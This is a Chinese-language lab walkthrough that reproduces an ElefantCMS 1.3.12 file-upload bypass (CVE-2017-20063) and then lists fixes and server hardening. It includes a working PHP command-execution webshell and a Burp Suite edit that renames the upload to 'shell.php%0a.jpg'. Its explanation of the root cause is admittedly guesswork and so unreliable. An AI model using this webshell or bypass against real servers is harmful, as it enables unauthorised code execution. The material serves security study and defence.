
1. 项目概述与核心目标最近在整理一些经典的CMS漏洞案例发现CVE-2017-20063这个漏洞非常有意思。它发生在ElefantCMS 1.3.12版本中核心问题在于攻击者可以绕过服务器上关键的.htaccess文件限制成功上传并执行Webshell。对于学习Web安全、特别是文件上传漏洞和服务器配置安全的朋友来说这是一个绝佳的实战案例。很多靶场练习只停留在“改后缀名”或“前端绕过”的层面而这个漏洞涉及到了更深一层的服务器解析逻辑和权限配置的对抗能让你真正理解为什么有些“看起来安全”的配置依然会被攻破。这个项目我将带你从零开始手把手搭建一个ElefantCMS 1.3.12的漏洞复现环境并一步步演示如何利用这个漏洞。我们不仅会完成攻击更重要的是我会详细拆解每一步背后的原理为什么.htaccess文件通常能防御恶意文件上传ElefantCMS在这里犯了什么错攻击链是如何构建的理解了这些你就能举一反三在审计其他应用或配置自己服务器时知道哪些地方是潜在的薄弱点。整个过程我会使用最常用的工具确保你即使刚接触渗透测试也能跟着做下来。2. 环境搭建与靶场部署2.1 靶场组件选择与准备复现一个漏洞第一步永远是搭建一个与漏洞环境尽可能一致的靶场。对于CVE-2017-20063我们需要以下核心组件操作系统推荐使用Kali Linux或任何你熟悉的Linux发行版如Ubuntu。Windows系统也可以但涉及路径和部分命令时可能需要调整。我将在Kali Linux下演示这是渗透测试的标准环境集成了我们所需的大部分工具。Web服务器Apache HTTP Server。这是漏洞产生的关键环境因为.htaccess是Apache特有的分布式配置文件。我们需要确保Apache启用了mod_rewrite和允许.htaccess文件覆盖配置AllowOverride All。版本上使用与当时漏洞环境相近的Apache 2.4.x系列即可。编程语言环境PHP。ElefantCMS是基于PHP开发的。我们需要安装PHP并确保包含必要的模块如用于连接数据库的php-mysql或php-mysqli。PHP版本建议在5.6到7.2之间以匹配2017年左右的主流环境。数据库MySQL或MariaDB。用于存储CMS的数据。漏洞主体ElefantCMS 1.3.12。这是存在漏洞的精确版本。我们需要找到它的安装包。注意强烈建议在虚拟机如VMware、VirtualBox或Docker容器中搭建此环境。避免在个人主力机或生产服务器上直接操作以防配置冲突或安全风险。2.2 一步步搭建漏洞环境假设你已经在Kali Linux虚拟机中我们开始一步步部署。第一步安装Apache、PHP和MySQL打开终端使用apt包管理器安装基础服务套件。sudo apt update sudo apt install apache2 mysql-server php php-mysql libapache2-mod-php php-cli php-curl php-gd php-mbstring -y安装完成后启动Apache和MySQL服务并设置为开机自启。sudo systemctl start apache2 sudo systemctl enable apache2 sudo systemctl start mysql sudo systemctl enable mysql第二步配置Apache以允许.htaccess这是关键一步。默认情况下Apache可能不允许在特定目录下使用.htaccess文件来覆盖全局配置。我们需要修改Apache的站点配置文件。找到Apache的配置文件。在Kali/Ubuntu上默认站点配置文件通常在/etc/apache2/sites-available/000-default.conf。使用文本编辑器如nano或vim打开它sudo nano /etc/apache2/sites-available/000-default.conf在VirtualHost *:80配置块内找到对应网站根目录通常是/var/www/html的Directory指令。将其修改或确保为如下内容Directory /var/www/html Options Indexes FollowSymLinks AllowOverride All Require all granted /Directory重点是AllowOverride All这一行它允许.htaccess文件覆盖此目录的Apache配置。保存并退出编辑器。然后重启Apache服务使配置生效sudo systemctl restart apache2第三步下载并部署ElefantCMS 1.3.12我们需要找到ElefantCMS 1.3.12的安装包。由于是历史版本可以从一些开源软件存档网站或GitHub的发布历史中寻找。这里假设我们已经下载了一个名为elefant-1.3.12.zip的文件。将其解压到Apache的Web根目录sudo unzip elefant-1.3.12.zip -d /var/www/html/elefant这将在/var/www/html下创建一个elefant目录里面是CMS的所有文件。设置正确的文件权限确保Web服务器用户通常是www-data能够读写必要的目录。sudo chown -R www-data:www-data /var/www/html/elefant sudo chmod -R 755 /var/www/html/elefant实操心得权限设置是Web安全的基础。这里给www-data用户所有权是让Apache能正常读写文件。但在生产环境中需要遵循最小权限原则比如上传目录可写但执行目录不可写。第四步通过Web界面安装ElefantCMS打开浏览器访问http://[你的虚拟机IP]/elefant。你将看到ElefantCMS的安装向导。按照向导步骤进行检查环境要求PHP版本、扩展、目录权限等应全部通过。配置数据库创建一个新的MySQL数据库例如elefant_cve并在安装界面填写数据库连接信息主机localhost用户名root密码为你安装MySQL时设置的密码数据库名elefant_cve。设置管理员账号和站点信息。安装完成后删除或重命名安装目录/var/www/html/elefant/install这是一个重要的安全措施。sudo mv /var/www/html/elefant/install /var/www/html/elefant/install_backup至此一个存在漏洞的ElefantCMS 1.3.12靶场就搭建完成了。访问http://[你的虚拟机IP]/elefant应该能看到CMS的前台页面登录后台可以管理内容。3. 漏洞原理深度解析在开始攻击之前我们必须彻底理解漏洞的根源。这比单纯执行攻击脚本有价值得多。3.1 .htaccess文件的安全作用.htaccess超文本访问是Apache服务器的一个配置文件它可以放在任何目录中用于对该目录及其所有子目录进行访问控制、URL重写等配置。它的一个核心安全用途就是防止恶意文件执行。在Web应用中用户上传功能通常需要一个目录来存储文件比如/uploads/。我们绝对不希望用户上传的.php文件在这里被当作PHP脚本执行。通常管理员会在这个上传目录下放置一个.htaccess文件内容如下FilesMatch \.(php|php5|phtml|pl)$ Order Allow,Deny Deny from all /FilesMatch或者对于Apache 2.4FilesMatch \.(php|php5|phtml|pl)$ Require all denied /FilesMatch这个配置的意思是匹配所有以.php,.php5,.phtml,.pl结尾的文件拒绝所有客户端访问。这样一来即使攻击者费尽心机把一个Webshell如shell.php上传到了/uploads/目录当任何人尝试通过浏览器访问http://example.com/uploads/shell.php时Apache会直接返回403 Forbidden错误脚本内容不会被执行。这是防御文件上传漏洞的一道非常有效的防线。3.2 ElefantCMS的漏洞点apps/filemanager/handlers/file/upload.phpElefantCMS 1.3.12版本的文件管理器File Manager应用提供了一个文件上传功能。其处理上传的脚本位于apps/filemanager/handlers/file/upload.php。漏洞的核心在于这个脚本对上传文件的处理逻辑存在缺陷。我们来看一下问题代码经过简化和分析文件接收与临时存储脚本通过$_FILES接收上传的文件并将其移动到一个临时位置或目标目录。关键的错误逻辑在某个代码路径下通常与上传文件的命名或处理流程相关脚本在移动或重命名文件时未能正确地保留或应用目标目录的安全配置。更具体地说它可能使用了某些PHP文件操作函数如rename()、copy()或自身的逻辑在处理过程中短暂地将文件放置在一个不受保护.htaccess文件限制的目录或者以某种方式绕过了.htaccess的FilesMatch规则匹配。一种典型且常见的利用方式是上传一个包含特殊字符或特殊序列的文件名。例如如果Apache的配置或PHP的处理逻辑对文件名中的某些字符如换行符\n、空字符\0等解析不一致就可能导致安全绕过。假设上传目录的.htaccess规则是匹配.php结尾。如果攻击者上传一个文件名为shell.php\x0A.jpg其中\x0A是换行符的十六进制表示。在某些情况下.htaccess的FilesMatch规则可能将\x0A视为文件名的一部分因此shell.php\x0A.jpg不匹配\.php$规则因为它不是以.php结尾而是以.jpg结尾尽管中间有特殊字符。但Apache或操作系统在最终保存或执行文件时可能将\x0A解释为分隔符导致实际访问或创建的文件名是shell.php从而绕过了防御。在CVE-2017-20063的案例中具体的利用方式可能与ElefantCMS文件管理器对上传文件名的净化sanitization逻辑不严有关使得攻击者可以注入能够干扰Apache解析的字符序列。3.3 攻击链串联理解原理后攻击链就清晰了定位入口找到ElefantCMS的文件上传功能通常在后台的文件管理器。制作载荷创建一个包含Webshell代码的PHP文件但为其构造一个特殊的文件名该文件名能欺骗目标目录下的.htaccess规则。上传绕过利用文件管理器上传逻辑的缺陷将特制的文件上传到受保护的目录如/uploads/。由于文件名特殊.htaccess的过滤规则失效文件被成功保存。访问执行直接通过浏览器访问上传成功的Webshell文件此时Apache可能因为解析问题将其识别为可执行的PHP文件从而在服务器上执行任意代码。4. 漏洞复现与Webshell上传实战现在我们进入实战环节亲手利用这个漏洞。4.1 信息收集与入口点寻找登录后台访问http://[你的虚拟机IP]/elefant/admin使用安装时设置的管理员账号登录。寻找文件管理器在后台管理界面通常会有“文件”Files或“文件管理器”File Manager的菜单项。点击进入。它的URL可能类似于http://[你的虚拟机IP]/elefant/filemanager。确认上传功能在文件管理器界面你应该能看到一个上传按钮或区域允许你向服务器的特定目录如/files/或/uploads/上传文件。记下这个可上传的目录路径我们后续需要知道Webshell上传到了哪里。4.2 制作绕过.htaccess的Webshell首先我们创建一个最简单的PHP Webshell用于验证代码执行。内容如下保存为shell.php?php if(isset($_GET[cmd])) { system($_GET[cmd]); } else { echo Webshell is active. Use ?cmdcommand to execute.; } ?这个脚本会接收一个名为cmd的GET参数并将其作为系统命令执行。关键步骤构造恶意文件名根据漏洞原理我们需要给这个文件起一个能绕过.htaccess中\.php$规则的名字。历史上对于此类漏洞一种有效的载荷是利用空字节%00或换行符\n、\r\n进行截断或混淆。但由于PHP版本和安全机制的更新空字节截断在很多现代环境中已失效。对于CVE-2017-20063一种可行的尝试是使用换行符。在HTTP请求中换行符可以编码为%0a。我们可以尝试上传一个名为shell.php%0a.jpg的文件。实际操作中我们不能直接修改本地文件名因为操作系统不允许。我们需要在HTTP请求层面构造这个文件名。我们将使用Burp Suite这个代理工具来拦截和修改上传请求。4.3 使用Burp Suite拦截并修改上传请求配置浏览器代理将你的浏览器如Firefox的代理设置为127.0.0.1:8080指向Burp Suite。启动Burp Suite在Kali中打开Burp Suite Community Edition。开启拦截在Burp的Proxy-Intercept标签页确保Intercept is on按钮是按下状态。执行上传在ElefantCMS的文件管理器页面选择我们本地的shell.php文件进行上传。拦截请求此时Burp Suite会拦截到浏览器发出的上传请求。请求体应该是multipart/form-data格式其中包含我们文件的数据。修改文件名在Burp的拦截界面找到代表文件名的部分。它可能看起来像这样Content-Disposition: form-data; namefile; filenameshell.php我们将filename的值修改为我们的恶意构造shell.php%0a.jpg。Content-Disposition: form-data; namefile; filenameshell.php%0a.jpg重要提示这里的%0a是字面字符不要进行URL解码。Burp显示的是什么就保持什么或者直接输入%0a。转发请求点击Forward按钮将修改后的请求发送到服务器。4.4 验证上传结果与访问Webshell观察响应在Burp的HTTP history中查看上传请求的响应。如果成功响应中通常会包含文件已上传的信息以及文件在服务器上的访问路径。例如它可能返回一个JSON里面包含filepath:/files/shell.php%0a.jpg。尝试访问在浏览器中尝试访问这个路径http://[你的虚拟机IP]/elefant/files/shell.php%0a.jpg。情况A漏洞存在如果漏洞成功触发Apache可能因为解析问题将shell.php%0a.jpg识别为PHP文件并执行。你可能会看到“Webshell is active”的页面。此时尝试访问http://[你的虚拟机IP]/elefant/files/shell.php%0a.jpg?cmdid如果返回了当前Linux用户的id信息如uid33(www-data) gid33(www-data) groups33(www-data)则证明Webshell完全生效可以执行系统命令。情况B被拦截如果Apache的.htaccess规则仍然生效你会收到一个403 Forbidden错误。情况C404 Not Found可能文件名在服务器端被进一步处理如去除了特殊字符导致文件被保存为shell.php或shell.jpg你需要根据响应或服务器文件列表进行猜测和尝试。服务器端确认如果Web访问不成功可以登录到服务器终端查看上传目录下的实际文件。sudo ls -la /var/www/html/elefant/files/查看是否存在一个名字包含奇怪字符可能显示为shell.php?或shell.php后跟一个换行符标志的文件。你可以尝试用cat命令查看其内容或用php命令行直接执行它来验证。sudo php /var/www/html/elefant/files/shell.php$\n.jpg # 或者尝试找到确切的文件名4.5 利用成功后的操作一旦确认Webshell可以访问并执行命令就证明了漏洞复现成功。请注意这仅用于合法授权的安全测试和学习。你可以尝试一些无害的命令来验证权限例如?cmdwhoami查看当前Web服务用户?cmdpwd查看当前工作目录?cmdls -la列出当前目录文件5. 漏洞修复方案与深度防御复现漏洞是为了更好地防御。我们来分析一下如何修复这个漏洞并构建更深层的防御体系。5.1 官方修复与补丁分析对于CVE-2017-20063ElefantCMS的开发团队在后续版本中发布了修复。修复的核心思路通常集中在以下几点强化文件名净化在文件上传处理的代码中增加更严格的文件名过滤。不仅要去除目录遍历字符../还要过滤或转义所有可能干扰Web服务器解析的特殊字符如空字符\0、换行符\n,\r、分号;等。一个常见的做法是使用白名单机制只允许字母、数字、点、连字符和下划线等有限字符。统一文件扩展名处理确保在保存文件之前文件扩展名是根据文件内容如MIME类型或一个严格的白名单来确定的而不是完全信任用户上传的文件名。即使文件名被篡改最终保存到磁盘的扩展名也是安全的。安全的重命名策略上传文件后不使用原始文件名而是将其重命名为一个随机生成的字符串如UUID并保留原始扩展名需经过白名单校验。例如evil.php%0a.jpg可能被重命名为a1b2c3d4.jpg。这彻底消除了通过精心构造文件名进行攻击的可能性。如果你正在使用旧版本的ElefantCMS最直接的办法就是升级到最新版本。5.2 服务器层面加固配置除了修复应用代码服务器配置是防御此类漏洞的坚实后盾。限制PHP执行目录在Apache配置中可以使用php_admin_value指令在虚拟主机或目录配置中直接禁用特定目录的PHP引擎。这比依赖.htaccess更可靠。Directory /var/www/html/elefant/uploads php_admin_value engine off /Directory这样即使.htaccess被绕过或配置错误该目录下的任何.php文件都不会被PHP解析而是以纯文本形式返回给浏览器。使用FilesMatch与Location组合在Apache主配置httpd.conf或sites-available/下的配置文件中为上传目录添加更严格的规则而不是仅依赖.htaccess。LocationMatch ^/elefant/uploads/.*\.(php|php5|phtml|pl)$ Require all denied /LocationMatch配置open_basedir在PHP配置php.ini中为每个虚拟主机设置open_basedir将PHP脚本的文件操作限制在网站根目录下防止攻击者通过Webshell访问系统敏感文件。5.3 应用层最佳实践对于开发者而言设计文件上传功能时应遵循以下原则白名单校验只允许特定的、安全的文件扩展名如.jpg,.png,.pdf。绝对不要使用黑名单。文件类型双重校验不仅检查文件扩展名还要检查文件的MIME类型$_FILES[‘file’][‘type’]甚至使用finfo_file()函数读取文件头进行更准确的判断。重命名文件如前所述使用随机文件名保存上传的文件。设置独立域名和存储将用户上传的文件存储到独立的域名或子域名下并确保该存储服务不执行任何动态脚本静态文件服务。这完全隔离了执行环境。权限最小化上传目录只给Web服务器写权限不给执行权限。在Linux上目录权限可设置为755文件权限设置为644。6. 拓展思考与同类漏洞挖掘CVE-2017-20063不是一个孤立的案例。它代表了一类“解析差异”或“配置绕过”漏洞。理解它有助于你发现和防范类似问题。6.1 常见的解析差异点Web服务器与后端语言的解析差异Apache/IIS/Nginx与PHP/Python/Java对URL、路径、文件名中特殊字符的处理可能不同。例如%00空字节在旧版PHP中可能导致字符串截断而Web服务器可能不这么认为。大小写敏感/不敏感在Windows服务器上文件系统通常不区分大小写shell.PHP可能被当作shell.php执行而Linux是区分的。如果.htaccess规则是\.php$它可能匹配不到.PHP。多重扩展名shell.php.jpg。如果应用只检查最后一个扩展名.jpg并允许上传而某些服务器配置如误配置的AddHandler可能将.php.jpg也交给PHP解析。路径遍历与组合上传文件名包含../如../../../shell.php如果应用未过滤可能导致文件被保存到预期之外、可能没有.htaccess保护的目录。6.2 在代码审计中关注什么当你审计一个文件上传功能时可以重点关注以下函数和逻辑move_uploaded_file()这是PHP中处理上传文件的关键函数。检查它的目标路径参数是否用户可控或经过拼接且拼接前是否对用户输入进行了严格的过滤。basename()这个函数用于获取路径中的文件名部分但它可能无法处理所有特殊字符。不能完全依赖它来做安全过滤。任何字符串替换、正则表达式匹配文件扩展名的逻辑检查其白名单是否完整是否可能被绕过如利用shell.p*hp。文件保存前的重命名逻辑是使用随机名还是保留了原始文件名6.3 构建自己的安全测试流程对于防御者可以建立以下自查清单[ ] 上传目录是否设置了php_admin_value engine off或等效配置[ ] 应用代码是否使用白名单校验文件扩展名和MIME类型[ ] 保存的文件名是否是随机的[ ] 是否对用户提供的文件名进行了严格的特殊字符过滤[ ] 是否限制了上传文件的大小和类型[ ] 上传的文件是否进行了病毒或恶意内容扫描对于企业级应用通过这次对CVE-2017-20063的深入复现我们从环境搭建、原理分析、实战利用到修复加固完成了一个完整的学习闭环。这种“绕过配置型”漏洞提醒我们安全是一个整体需要代码逻辑、服务器配置、运维管理多层协作任何一层的疏忽都可能导致整个防御体系的崩塌。真正的安全不在于有一道坚不可摧的墙而在于即使一道墙被突破还有第二道、第三道防线在等着。